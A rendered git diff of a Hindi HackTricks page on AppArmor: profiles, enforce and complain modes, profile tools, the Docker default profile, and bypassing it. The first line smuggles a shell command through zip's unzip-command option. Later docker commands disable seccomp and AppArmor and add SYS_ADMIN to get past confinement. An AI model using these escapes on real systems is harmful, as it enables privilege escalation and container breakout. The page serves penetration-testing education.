zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
```
|
||||
__
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,48 +1,48 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# मूलभूत जानकारी
|
||||
# मूल जानकारी
|
||||
|
||||
**AppArmor** एक कर्नल एन्हांसमेंट है जो **प्रोग्रामों** को **सीमित संसाधनों** के **साथ सीमित** सेट में बाधित करता है। प्रोफ़ाइल्स नेटवर्क एक्सेस, रॉ सॉकेट एक्सेस और मिलते पथों पर फ़ाइलों को पढ़ने, लिखने या निष्पादित करने की अनुमति जैसी **क्षमताओं** को **अनुमति** दे सकते हैं।
|
||||
**AppArmor** एक कर्नेल वृद्धि है जो **प्रोग्राम्स** को **सीमित** संसाधनों के सेट तक सीमित करती है **प्रति-प्रोग्राम प्रोफाइल्स** के साथ। प्रोफाइल्स नेटवर्क एक्सेस, रॉ सॉकेट एक्सेस, और मिलान पथों पर फाइलों को पढ़ने, लिखने या निष्पादित करने की अनुमति जैसी **क्षमताओं** को **अनुमति** दे सकते हैं।
|
||||
|
||||
यह एक अनिवार्य पहुंच नियंत्रण या **MAC** है जो **उपयोगकर्ताओं के बजाय प्रोग्रामों** को बाधित करने के लिए **पहुंच नियंत्रण** गुणों को **बाधित करता है**।\
|
||||
AppArmor बाधा आमतौर पर कर्नल में लोड किए जाने वाले प्रोफ़ाइल्स के माध्यम से प्रदान की जाती है।\
|
||||
AppArmor प्रोफ़ाइल्स दो मोड में हो सकते हैं:
|
||||
यह एक Mandatory Access Control या **MAC** है जो **एक्सेस कंट्रोल** गुणों को **प्रोग्राम्स के साथ बांधता है बजाय उपयोगकर्ताओं के**।\
|
||||
AppArmor संयम कर्नेल में लोड किए गए **प्रोफाइल्स** के माध्यम से प्रदान किया जाता है, आमतौर पर बूट पर।\
|
||||
AppArmor प्रोफाइल्स **दो मोड्स** में से एक में हो सकते हैं:
|
||||
|
||||
* **निष्पादन**: निष्पादन मोड में लोड किए गए प्रोफ़ाइल्स प्रोफ़ाइल में परिभाषित नीति के **निष्पादन के परिणामस्वरूप होंगे और रिपोर्टिंग** नीति उल्लंघन प्रयासों को (सिसलॉग या ऑडिटडी के माध्यम से) करेंगे।
|
||||
* **शिकायत**: शिकायत मोड में प्रोफ़ाइल्स **नीति का पालन नहीं करेंगे** बल्कि बजाय इसके **नीति उल्लंघन** प्रयासों की **रिपोर्टिंग** करेंगे।
|
||||
* **Enforcement**: प्रवर्तन मोड में लोड किए गए प्रोफाइल्स प्रोफाइल में परिभाषित नीति के **प्रवर्तन के साथ-साथ नीति उल्लंघन प्रयासों की रिपोर्टिंग** का परिणाम होगा (या तो syslog या auditd के माध्यम से)।
|
||||
* **Complain**: शिकायत मोड में प्रोफाइल्स नीति को लागू नहीं करेंगे लेकिन इसके बजाय नीति **उल्लंघन** प्रयासों की **रिपोर्ट** करेंगे।
|
||||
|
||||
AppArmor लिनक्स पर कुछ अन्य MAC सिस्टमों से अलग होता है: यह **पाथ-आधारित** है, यह निष्पादन और शिकायत मोड प्रोफ़ाइलों को मिश्रित करने की अनुमति देता है, यह विकास को सुगम बनाने के लिए इंकलूड फ़ाइल का उपयोग करता है, और इसका उपयोग करने के लिए अन्य लोकप्रिय MAC सिस्टमों की तुलना में बहुत कम बाधा होती है।
|
||||
AppArmor कुछ अन्य MAC सिस्टम्स से अलग है लिनक्स पर: यह **पथ-आधारित** है, यह प्रवर्तन और शिकायत मोड प्रोफाइल्स का मिश्रण करने की अनुमति देता है, यह विकास को आसान बनाने के लिए शामिल फाइलों का उपयोग करता है, और यह अन्य लोकप्रिय MAC सिस्टम्स की तुलना में प्रवेश की बहुत कम बाधा है।
|
||||
|
||||
## AppArmor के भाग
|
||||
|
||||
* **कर्नल मॉड्यूल**: वास्तविक कार्य करता है
|
||||
* **नीतियाँ**: व्यवहार और सीमा की परिभाषा करती हैं
|
||||
* **पार्सर**: नीतियों को कर्नल में लोड करता है
|
||||
* **उपयोगकर्ता उपकरण**: apparmor के साथ संवाद करने के लिए यूजरमोड प्रोग्राम
|
||||
* **कर्नेल मॉड्यूल**: वास्तविक काम करता है
|
||||
* **नीतियाँ**: व्यवहार और संयम को परिभाषित करती हैं
|
||||
* **पार्सर**: कर्नेल में नीतियों को लोड करता है
|
||||
* **यूटिलिटीज**: apparmor के साथ इंटरैक्ट करने के लिए यूजरमोड प्रोग्राम्स
|
||||
|
||||
## प्रोफ़ाइल पथ
|
||||
## प्रोफाइल्स पथ
|
||||
|
||||
Apparmor प्रोफ़ाइल आमतौर पर _**/etc/apparmor.d/**_ में सहेजे जाते हैं\
|
||||
`sudo aa-status` के साथ आप उन बाइनरीज़ की सूची देख सकेंगे जिन्हें किसी प्रोफ़ाइल द्वारा प्रतिबंधित किया जाता है। यदि आप प्रतिबंधित किसी भी बाइनरी के पथ के हर एक चार "/" को बदलकर एक डॉट में बदल सकते हैं तो आप में उल्लिखित फ़ोल्डर में apparmor प्रोफ़ाइल का नाम प्राप्त करेंगे।
|
||||
Apparmor प्रोफाइल्स आमतौर पर _**/etc/apparmor.d/**_ में सहेजे जाते हैं\
|
||||
`sudo aa-status` के साथ आप उन बाइनरीज की सूची बना पाएंगे जो किसी प्रोफाइल द्वारा प्रतिबंधित हैं। यदि आप प्रत्येक सूचीबद्ध बाइनरी के पथ के चार "/" को एक डॉट से बदल सकते हैं और आपको उल्लिखित फोल्डर के अंदर apparmor प्रोफाइल का नाम मिल जाएगा।
|
||||
|
||||
उदाहरण के लिए, _/usr/bin/man_ के लिए एक **apparmor** प्रोफ़ाइल _/etc/apparmor.d/usr.bin.man_ में स्थित होगा
|
||||
उदाहरण के लिए, _/usr/bin/man_ के लिए एक **apparmor** प्रोफाइल _/etc/apparmor.d/usr.bin.man_ में स्थित होगी।
|
||||
|
||||
## कमांड्स
|
||||
```
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
|
@ -52,42 +52,42 @@ aa-genprof #generate a new profile
|
|||
aa-logprof #used to change the policy when the binary/program is changed
|
||||
aa-mergeprof #used to merge the policies
|
||||
```
|
||||
# प्रोफ़ाइल बनाना
|
||||
# प्रोफाइल बनाना
|
||||
|
||||
* प्रभावित एक्ज़ीक्यूटेबल को दर्शाने के लिए, **पूर्ण पथ और वाइल्डकार्ड** (फ़ाइल ग्लॉबिंग के लिए) की अनुमति है।
|
||||
* **फ़ाइलों** पर बाइनरी के ऊपर एक्सेस को दर्शाने के लिए निम्नलिखित **एक्सेस नियंत्रण** का उपयोग किया जा सकता है:
|
||||
* प्रभावित निष्पादन योग्य फ़ाइल को इंगित करने के लिए, **पूर्ण पथ और वाइल्डकार्ड** का उपयोग किया जा सकता है (फ़ाइल ग्लोबिंग के लिए)।
|
||||
* बाइनरी द्वारा **फ़ाइलों** पर होने वाले एक्सेस को इंगित करने के लिए निम्नलिखित **एक्सेस नियंत्रण** का उपयोग किया जा सकता है:
|
||||
* **r** (पढ़ना)
|
||||
* **w** (लिखना)
|
||||
* **m** (मेमोरी मैप के रूप में एक्सेक्यूटेबल)
|
||||
* **m** (निष्पादन योग्य के रूप में मेमोरी मैप)
|
||||
* **k** (फ़ाइल लॉकिंग)
|
||||
* **l** (हार्ड लिंक बनाना)
|
||||
* **ix** (नई प्रोग्राम को नीति वारिस्त करते हुए एक और प्रोग्राम को एक्सेक्यूट करने के लिए)
|
||||
* **Px** (एक और प्रोफ़ाइल के तहत एक्सेक्यूट करें, पर्यावरण को साफ़ करने के बाद)
|
||||
* **Cx** (एक बाल प्रोफ़ाइल के तहत एक्सेक्यूट करें, पर्यावरण को साफ़ करने के बाद)
|
||||
* **Ux** (एक्सेक्यूट करें अनियंत्रित, पर्यावरण को साफ़ करने के बाद)
|
||||
* **प्रोफ़ाइल में चर निर्धारित किए जा सकते हैं और प्रोफ़ाइल के बाहर से प्रबंधित किए जा सकते हैं। उदाहरण के लिए: @{PROC} और @{HOME} (प्रोफ़ाइल फ़ाइल में #include \<tunables/global> जोड़ें)
|
||||
* **अनुमति नियमों को अधिरोहित करने के लिए निषेध नियम समर्थित हैं**।
|
||||
* **l** (हार्ड लिंक्स का निर्माण)
|
||||
* **ix** (दूसरे प्रोग्राम को नई नीति के साथ निष्पादित करना)
|
||||
* **Px** (पर्यावरण को साफ करने के बाद दूसरे प्रोफाइल के तहत निष्पादित करना)
|
||||
* **Cx** (पर्यावरण को साफ करने के बाद एक चाइल्ड प्रोफाइल के तहत निष्पादित करना)
|
||||
* **Ux** (पर्यावरण को साफ करने के बाद अनियंत्रित निष्पादित करना)
|
||||
* **वेरिएबल्स** को प्रोफाइल में परिभाषित किया जा सकता है और प्रोफाइल के बाहर से मैनिपुलेट किया जा सकता है। उदाहरण के लिए: @{PROC} और @{HOME} (प्रोफाइल फ़ाइल में #include \<tunables/global> जोड़ें)
|
||||
* **अनुमति नियमों को ओवरराइड करने के लिए इनकार नियमों का समर्थन किया जाता है**।
|
||||
|
||||
## aa-genprof
|
||||
|
||||
प्रोफ़ाइल बनाना शुरू करने के लिए आपकी मदद करने के लिए एपार्मोर का उपयोग किया जा सकता है। यह संभव है कि **एपार्मोर बाइनरी द्वारा किए गए कार्रवाईयों की जांच करेगा और फिर आपको निर्धारित करने देगा कि आप कौन सी कार्रवाईयों को अनुमति देना चाहते हैं और कौन सी कार्रवाईयों को निषेध करना चाहते हैं**।\
|
||||
आपको बस यह चलाना होगा:
|
||||
प्रोफाइल बनाना शुरू करने के लिए apparmor आपकी मदद कर सकता है। यह संभव है कि **apparmor द्वारा एक बाइनरी द्वारा किए गए क्रियाओं का निरीक्षण किया जाए और फिर आप तय करें कि कौन सी क्रियाओं को अनुमति देना है या इनकार करना है**।\
|
||||
आपको बस चलाना होगा:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
तो, एक अलग कंसोल में वे सभी कार्रवाइयाँ करें जो बाइनरी सामान्यतः करेगा:
|
||||
फिर, एक अलग कंसोल में वे सभी क्रियाएं करें जो आमतौर पर बाइनरी करती है:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
तो, पहले कंसोल में "**s**" दबाएं और फिर रिकॉर्ड की गई कार्रवाइयों में इंगोर करना, अनुमति देना, या कुछ और करने के लिए दर्ज करें। जब आप समाप्त हो जाएं तो "**f**" दबाएं और नया प्रोफ़ाइल _/etc/apparmor.d/path.to.binary_ में बनाया जाएगा।
|
||||
फिर, पहले कंसोल में "**s**" दबाएं और फिर रिकॉर्ड किए गए क्रियाओं में इंगित करें कि आप अनदेखा करना चाहते हैं, अनुमति देना चाहते हैं, या जो भी करना चाहते हैं। जब आप समाप्त कर लें तो "**f**" दबाएं और नया प्रोफाइल _/etc/apparmor.d/path.to.binary_ में बनाया जाएगा।
|
||||
|
||||
{% hint style="info" %}
|
||||
एरो कीज़ का उपयोग करके आप जो कुछ चाहें अनुमति/अस्वीकार/या कुछ और करना चाहते हैं, उसे चुन सकते हैं।
|
||||
तीर कुंजियों का उपयोग करके आप जो चाहें उसे अनुमति देने/अस्वीकार करने/जो भी करना चाहें उसे चुन सकते हैं।
|
||||
{% endhint %}
|
||||
|
||||
## aa-easyprof
|
||||
|
||||
आप एक बाइनरी के एक एपारमोर प्रोफ़ाइल का टेम्पलेट भी बना सकते हैं:
|
||||
आप एक बाइनरी के apparmor प्रोफाइल का टेम्पलेट भी इसके साथ बना सकते हैं:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
|
@ -113,24 +113,24 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि एक नई प्रोफ़ाइल में डिफ़ॉल्ट रूप से कुछ भी अनुमति नहीं होती है, इसलिए सब कुछ निषेधित होता है। आपको `/etc/passwd r,` जैसी पंक्तियों को जोड़ने की आवश्यकता होगी, जिससे उदाहरण के लिए `/etc/passwd` बाइनरी को पढ़ने की अनुमति मिले।
|
||||
ध्यान दें कि डिफ़ॉल्ट रूप से बनाई गई प्रोफ़ाइल में कुछ भी अनुमति नहीं है, इसलिए सब कुछ अस्वीकृत है। आपको `/etc/passwd r,` जैसी पंक्तियाँ जोड़नी होंगी ताकि बाइनरी `/etc/passwd` को पढ़ने की अनुमति हो, उदाहरण के लिए।
|
||||
{% endhint %}
|
||||
|
||||
फिर आप नई प्रोफ़ाइल को **प्रबल** कर सकते हैं
|
||||
आप फिर नई प्रोफ़ाइल को **enforce** कर सकते हैं
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
## लॉग्स से प्रोफ़ाइल को संशोधित करना
|
||||
## लॉग्स से प्रोफाइल में संशोधन
|
||||
|
||||
निम्नलिखित टूल लॉग्स को पढ़ेगा और उपयोगकर्ता से पूछेगा कि क्या वह कुछ प्रतिबंधित क्रियाओं की अनुमति देना चाहता है:
|
||||
निम्नलिखित टूल लॉग्स को पढ़ेगा और उपयोगकर्ता से पूछेगा कि क्या वह कुछ पता चले निषेध क्रियाओं को अनुमति देना चाहता है:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
एरो कीज़ का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति देना / निषेध करना / कुछ भी करना चाहते हैं
|
||||
आप तीर कुंजियों का उपयोग करके चुन सकते हैं कि आप क्या अनुमति देना/अस्वीकार करना/जो भी चाहते हैं
|
||||
{% endhint %}
|
||||
|
||||
## प्रोफ़ाइल प्रबंधन
|
||||
## प्रोफाइल प्रबंधन
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
|
@ -138,14 +138,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
# लॉग
|
||||
# लॉग्स
|
||||
|
||||
**`service_bin`** के _/var/log/audit/audit.log_ से **AUDIT** और **DENIED** लॉग का उदाहरण:
|
||||
_**AUDIT** और **DENIED** लॉग्स का उदाहरण _/var/log/audit/audit.log_ से **`service_bin`** नामक एक्जीक्यूटेबल का:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
आप इस जानकारी को निम्नलिखित तरीके से प्राप्त कर सकते हैं:
|
||||
आप यह जानकारी इसका उपयोग करके भी प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
|
@ -163,9 +163,9 @@ Logfile: /var/log/audit/audit.log
|
|||
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
||||
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
||||
```
|
||||
# डॉकर में Apparmor
|
||||
# Docker में Apparmor
|
||||
|
||||
ध्यान दें कि डॉकर का प्रोफ़ाइल **डॉकर-प्रोफ़ाइल** डिफ़ॉल्ट रूप से लोड होता है:
|
||||
ध्यान दें कि कैसे docker की **docker-profile** नामक प्रोफाइल डिफ़ॉल्ट रूप से लोड की जाती है:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
@ -181,71 +181,68 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
डिफ़ॉल्ट रूप से **Apparmor डॉकर-डिफ़ॉल्ट प्रोफ़ाइल** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) से उत्पन्न होता है।
|
||||
डिफ़ॉल्ट रूप से **Apparmor docker-default profile** यहाँ से उत्पन्न होता है: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
**डॉकर-डिफ़ॉल्ट प्रोफ़ाइल सारांश**:
|
||||
**docker-default profile सारांश**:
|
||||
|
||||
* सभी **नेटवर्किंग** तक **पहुंच**
|
||||
* कोई **क्षमता** परिभाषित नहीं है (हालांकि, कुछ क्षमताएं मूल बेस नियमों को सम्मिलित करने से आएगी, जैसे #include \<abstractions/base>)
|
||||
* किसी भी **/proc** फ़ाइल में **लिखने** की अनुमति नहीं है
|
||||
* अन्य **उपनिर्देशिकाएं**/**फ़ाइलें** /**proc** और /**sys** की पढ़ने/लिखने/लॉक/लिंक/एक्सीक्यूट उपयोग की अनुमति नहीं है
|
||||
* **माउंट** की अनुमति नहीं है
|
||||
* **Ptrace** केवल उस प्रक्रिया पर चलाया जा सकता है जो **एक ही apparmor प्रोफ़ाइल** द्वारा सीमित हो
|
||||
* सभी **नेटवर्किंग** के लिए **पहुँच**
|
||||
* कोई भी **capability** परिभाषित नहीं है (हालांकि, कुछ capabilities मूल आधार नियमों को शामिल करने से आएंगे जैसे कि #include \<abstractions/base> )
|
||||
* किसी भी **/proc** फ़ाइल में **लिखना** **अनुमति नहीं** है
|
||||
* /**proc** और /**sys** के अन्य **उपनिर्देशिकाएँ**/**फ़ाइलें** पढ़ने/लिखने/लॉक/लिंक/निष्पादन पहुँच से **इनकार** किया गया है
|
||||
* **माउंट** करना **अनुमति नहीं** है
|
||||
* **Ptrace** केवल उस प्रक्रिया पर चलाया जा सकता है जो **समान apparmor profile** द्वारा सीमित है
|
||||
|
||||
एक बार जब आप **डॉकर कंटेनर चलाते हैं**, तो आपको निम्नलिखित आउटपुट दिखाई देना चाहिए:
|
||||
एक बार जब आप **डॉकर कंटेनर चलाते हैं** तो आपको निम्नलिखित आउटपुट दिखाई देना चाहिए:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
नोट करें कि **एपार्मर डिफ़ॉल्ट में कंटेनर को प्राप्त किए गए क्षमता अधिकारों को भी अवरुद्ध कर देगा**। उदाहरण के लिए, यदि SYS_ADMIN क्षमता प्राप्त की जाती है, तो यह अनुमति देने के लिए डॉकर एपार्मर प्रोफ़ाइल इस पहुंच को अस्वीकार करेगा:
|
||||
ध्यान दें कि **apparmor डिफ़ॉल्ट रूप से कंटेनर को दी गई क्षमताओं की विशेषाधिकारों को भी अवरुद्ध कर देगा**। उदाहरण के लिए, यह **/proc के अंदर लिखने की अनुमति को अवरुद्ध करने में सक्षम होगा भले ही SYS_ADMIN क्षमता प्रदान की गई हो** क्योंकि डिफ़ॉल्ट रूप से docker apparmor प्रोफ़ाइल इस पहुँच को अस्वीकार करता है:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
आपको apparmor को अक्षम करने की आवश्यकता है ताकि इसकी प्रतिबंधों को अनदेखा किया जा सके:
|
||||
आपको इसकी पाबंदियों को बाईपास करने के लिए **apparmor को निष्क्रिय करना** होगा:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
नोट करें कि डिफ़ॉल्ट रूप से **AppArmor** भी **कंटेनर को माउंट करने से रोकेगा** भी अंदर से, यहां तक कि SYS_ADMIN क्षमता के साथ भी।
|
||||
ध्यान दें कि डिफ़ॉल्ट रूप से **AppArmor** कंटेनर को अंदर से फोल्डर्स माउंट करने से **रोकेगा** भले ही SYS_ADMIN क्षमता हो।
|
||||
|
||||
नोट करें कि आप डॉकर कंटेनर में **क्षमताएं जोड़ सकते/हटा सकते** हैं (यह अभी भी **AppArmor** और **Seccomp** जैसे सुरक्षा उपायों द्वारा प्रतिबंधित रहेगा):
|
||||
ध्यान दें कि आप डॉकर कंटेनर में **क्षमताओं** को **जोड़/हटा** सकते हैं (यह अभी भी **AppArmor** और **Seccomp** जैसे सुरक्षा तरीकों द्वारा सीमित रहेगा):
|
||||
|
||||
* `--cap-add=SYS_ADMIN`_ _`SYS_ADMIN` क्षमता दें
|
||||
* `--cap-add=ALL`_ _सभी क्षमताएं दें
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` सभी क्षमताएं हटाएं और केवल `SYS_PTRACE` दें
|
||||
* `--cap-add=SYS_ADMIN` _`SYS_ADMIN` क्षमता प्रदान करें_
|
||||
* `--cap-add=ALL` _सभी क्षमताएँ प्रदान करें_
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` सभी क्षमताएँ हटाएं और केवल `SYS_PTRACE` प्रदान करें
|
||||
|
||||
{% hint style="info" %}
|
||||
आमतौर पर, जब आपको पता चलता है कि आपके पास एक **विशेषाधिकारित क्षमता** उपलब्ध है **डॉकर** कंटेनर **के अंदर** लेकिन कुछ हिस्सा **उत्पीड़न काम नहीं कर रहा है**, तो यह इसलिए होगा कि डॉकर **apparmor इसे रोक रहा होगा**।
|
||||
आमतौर पर, जब आप **पाते हैं** कि आपके पास एक **विशेषाधिकार प्राप्त क्षमता** उपलब्ध है **अंदर** एक **डॉकर** कंटेनर में **लेकिन** किसी भाग का **एक्सप्लॉइट काम नहीं कर रहा है**, यह इसलिए होगा क्योंकि डॉकर **apparmor इसे रोक रहा होगा**।
|
||||
{% endhint %}
|
||||
|
||||
## AppArmor Docker ब्रेकआउट
|
||||
|
||||
आप यह जान सकते हैं कि कौन सा **apparmor प्रोफ़ाइल कंटेनर चला रहा है** इस्तेमाल करके:
|
||||
आप यह पता लगा सकते हैं कि कौन सा **apparmor प्रोफ़ाइल एक कंटेनर चला रहा है** इसका उपयोग करके:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
तब, आप निम्नलिखित पंक्ति को चला सकते हैं ताकि **उपयोग में आ रहे प्रोफ़ाइल को खोजें**:
|
||||
फिर, आप निम्नलिखित पंक्ति को चला सकते हैं **प्रयुक्त प्रोफ़ाइल का सटीक पता लगाने के लिए**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
अजीब मामले में आप **एपार्मर डॉकर प्रोफ़ाइल को संशोधित करके और इसे रीलोड करके** उसे बदल सकते हैं। आप प्रतिबंधों को हटा सकते हैं और उन्हें "बाइपास" कर सकते हैं।
|
||||
|
||||
यदि आप **apparmor docker profile को संशोधित कर सकते हैं और उसे पुनः लोड कर सकते हैं,** तो आप प्रतिबंधों को हटा सकते हैं और उन्हें "बायपास" कर सकते हैं।
|
||||
|
||||
<details>
|
||||
|
||||
